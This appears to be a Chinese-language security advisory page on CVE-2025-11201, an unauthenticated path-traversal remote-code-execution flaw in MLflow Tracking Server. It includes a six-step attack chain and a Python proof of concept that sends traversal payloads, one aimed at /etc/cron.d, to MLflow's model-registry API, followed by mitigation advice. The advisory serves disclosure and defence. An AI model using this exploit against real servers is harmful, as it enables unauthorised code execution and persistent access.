IPBUF安全漏洞报告
English
CVE-2025-11201 CVSS 9.8 严重

CVE-2025-11201: MLflow Tracking Server 目录遍历远程代码执行漏洞

披露日期: 2025-10-29

漏洞信息

漏洞编号
CVE-2025-11201
漏洞类型
目录遍历/远程代码执行
CVSS评分
9.8 严重
攻击向量
网络 (AV:N)
认证要求
无需认证 (PR:N)
用户交互
无需交互 (UI:N)
影响产品
MLflow Tracking Server

相关标签

CVE-2025-11201目录遍历远程代码执行MLflow机器学习ZDI-CAN-26921无需认证CVSS 9.8路径穿越RCE

漏洞概述

CVE-2025-11201是MLflow Tracking Server中的一个严重安全漏洞,CVSS评分高达9.8(严重级别)。该漏洞允许远程攻击者在无需任何认证的情况下,通过模型创建功能执行任意代码。漏洞的根本原因在于MLflow在处理模型文件路径时,缺少对用户提供的路径进行充分的验证和清理,攻击者可以利用目录遍历技术(如使用../序列)绕过路径限制,将恶意文件写入服务器上的任意位置,最终实现远程代码执行。成功利用此漏洞的攻击者可以在服务账户的上下文中执行任意操作,对系统的机密性、完整性和可用性造成严重影响。此漏洞由Trend Micro Zero Day Initiative(ZDI)发现并披露,编号为ZDI-CAN-26921。由于MLflow广泛应用于机器学习工作流管理中,该漏洞可能影响大量部署了MLflow Tracking Server的组织。

技术细节

该漏洞存在于MLflow Tracking Server的模型创建功能中,具体问题出在对模型文件路径的验证不充分。当用户通过API或Web界面创建模型时,系统会接收用户提供的文件路径参数。问题在于服务器端直接使用这个路径进行文件操作,而没有正确验证路径中是否包含目录遍历字符(如../或..\)。攻击者可以通过构造特殊的路径参数,例如使用../序列向上遍历目录结构,将文件写入到本不应该允许的位置(如系统关键目录或Web根目录)。一旦恶意文件被写入到可执行目录或被Web服务器加载,攻击者即可实现远程代码执行。由于该漏洞无需认证即可利用,且可以通过HTTP请求远程触发,因此风险极高。修复方案需要在使用用户提供的路径之前进行严格的路径规范化(canonicalization)和安全验证,确保最终路径在预期目录范围内。

攻击链分析

STEP 1
步骤1: 信息收集
攻击者识别目标MLflow Tracking Server,确认版本和端点配置
STEP 2
步骤2: 构造恶意请求
攻击者构造包含目录遍历序列(如../)的模型名称或路径参数
STEP 3
步骤3: 发送漏洞利用请求
通过MLflow API发送创建模型或注册模型版本的请求,路径包含遍历字符
STEP 4
步骤4: 文件写入任意位置
服务器在处理请求时未正确验证路径,导致文件被写入预期目录之外的任意位置
STEP 5
步骤5: 代码执行
通过将恶意文件写入可执行目录(如cron.d、web目录等)实现远程代码执行
STEP 6
步骤6: 持久化控制
攻击者可在服务账户上下文中执行任意命令,建立持久化访问

PoC / 利用代码

⚠️ 仅供安全研究
以下代码仅用于安全研究和授权测试,未经授权使用属于违法行为。
PoC
import requests import urllib.parse # CVE-2025-11201 PoC - MLflow Directory Traversal RCE # Target: MLflow Tracking Server # Vulnerability: Path traversal in model creation allows RCE TARGET_URL = "http://target-mlflow-server:5000" def exploit_directory_traversal(): """ Exploit CVE-2025-11201: Directory Traversal in MLflow model creation This PoC demonstrates how an attacker can use path traversal to write files to arbitrary locations on the MLflow server. """ # Malicious model name with directory traversal payload # This attempts to write outside the intended model directory malicious_name = "../../../tmp/pwned_model" # Create model with path traversal in name create_model_payload = { "name": malicious_name, "description": "Malicious model created via path traversal" } try: # Step 1: Create model with traversal path response = requests.post( f"{TARGET_URL}/api/2.0/mlflow/model-registry/create-model", json=create_model_payload, timeout=10 ) print(f"[*] Create model response: {response.status_code}") print(f"[*] Response: {response.text}") # Step 2: Register model version (additional attack surface) register_payload = { "name": malicious_name, "source": "file:///var/mlflow/models/../../../etc/cron.d/malicious" } response = requests.post( f"{TARGET_URL}/api/2.0/mlflow/model-registry/register-model-version", json=register_payload, timeout=10 ) print(f"[*] Register model version response: {response.status_code}") except requests.exceptions.RequestException as e: print(f"[!] Request failed: {e}") if __name__ == "__main__": print("=" * 60) print("CVE-2025-11201 PoC - MLflow Directory Traversal RCE") print("=" * 60) exploit_directory_traversal()

影响范围

MLflow Tracking Server < 修复版本
MLflow 所有版本(截至2025-10-29)

防御指南

临时缓解措施
在官方修复发布之前,建议采取以下临时缓解措施:1)限制对MLflow API的访问,仅允许受信任的IP地址访问;2)启用MLflow的认证机制,虽然无法完全阻止漏洞利用但可增加攻击难度;3)在Web应用防火墙中配置规则,检测和阻止包含../等目录遍历字符的请求;4)监控MLflow服务器的异常活动,特别是文件创建操作;5)考虑使用网络隔离,将MLflow服务器部署在受保护的隔离区段;6)定期备份重要数据,以便在发生安全事件时快速恢复。

参考链接

快速导航: 前沿安全 最新收录域名列表 最新威胁情报列表 最新网站排名列表 最新工具资源列表 最新CVE漏洞列表